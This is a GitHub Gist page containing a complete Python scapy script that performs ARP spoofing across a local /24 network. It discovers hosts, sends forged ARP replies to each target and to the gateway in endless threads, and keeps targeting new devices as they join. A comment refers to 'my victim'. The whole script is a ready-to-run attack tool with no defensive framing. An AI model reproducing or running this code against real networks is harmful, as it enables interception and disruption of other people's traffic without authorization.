Created
October 16, 2020 08:07
-
-
Save PachUp/2d2359a1e04bb1c27d4dfe692cb17bdb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from scapy.all import * | |
from scapy.packet import * | |
import threading | |
from time import sleep | |
def getmac(targetip): | |
arppacket = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=targetip) | |
try: | |
targetmac = srp(arppacket, timeout=3, verbose=False)[0][0][1].hwsrc | |
except: | |
targetmac = "" | |
return targetmac | |
def find_ip(): | |
clients = [] | |
targetip_s = "192.168.1.1" | |
targetip_s = targetip_s + "/24" | |
arppacket = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op=1, pdst=targetip_s) | |
result = srp(arppacket, timeout=10, verbose=0)[0] | |
for sent, received in result: | |
clients.append(received.psrc) | |
return clients | |
def check_new_devices(old_devices, gatewayip, gatewaymac): | |
while True: | |
new_devices = find_ip() | |
devices_diff = list(set(new_devices) - set(old_devices)) | |
print(new_devices) | |
for targetip in devices_diff: | |
try: | |
targetmac = getmac(targetip) | |
print("Target MAC", targetmac) | |
trick = threading.Thread(target=revent_gateway_req, args=(targetip,targetmac,gatewayip,gatewaymac)) | |
trick.start() | |
except: | |
print("Target machine didn't respond to ARP broadcast") | |
old_devices = new_devices | |
def revent_gateway_req(targetip, targetmac, gatewayip, gatewaymac): | |
print("New device is being tricked!") | |
try: | |
targetmac = getmac(targetip) | |
print("Target MAC", targetmac) | |
while True: | |
packet = ARP(op=1, pdst=targetip, hwdst=targetmac, psrc=gatewayip) | |
send(packet, verbose=False) | |
packet2 = ARP(op=1, pdst=gatewayip, hwdst=gatewaymac, psrc=targetip) | |
send(packet2, verbose=False) | |
except: | |
print("Doesn't exist!") | |
def main(): | |
gatewayip = "192.168.1.1" # mine and my victim's gateway | |
try: | |
gatewaymac = getmac(gatewayip) | |
print ("Gateway MAC:", gatewaymac) | |
except: | |
print("The gateway can not be reached") | |
quit() | |
ip_addrs = find_ip() | |
for targetip in ip_addrs: | |
try: | |
targetmac = getmac(targetip) | |
print("Target MAC", targetmac) | |
trick = threading.Thread(target=revent_gateway_req, args=(targetip,targetmac,gatewayip,gatewaymac)) | |
trick.start() | |
#revent_gateway_req(targetip, targetmac, gatewayip, gatewaymac) | |
except: | |
print("Target machine didn't respond to ARP broadcast") | |
print("Exiting from the original loop") | |
check_new_ips = threading.Thread(target=check_new_devices, args=(ip_addrs, gatewayip, gatewaymac)) | |
check_new_ips.start() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment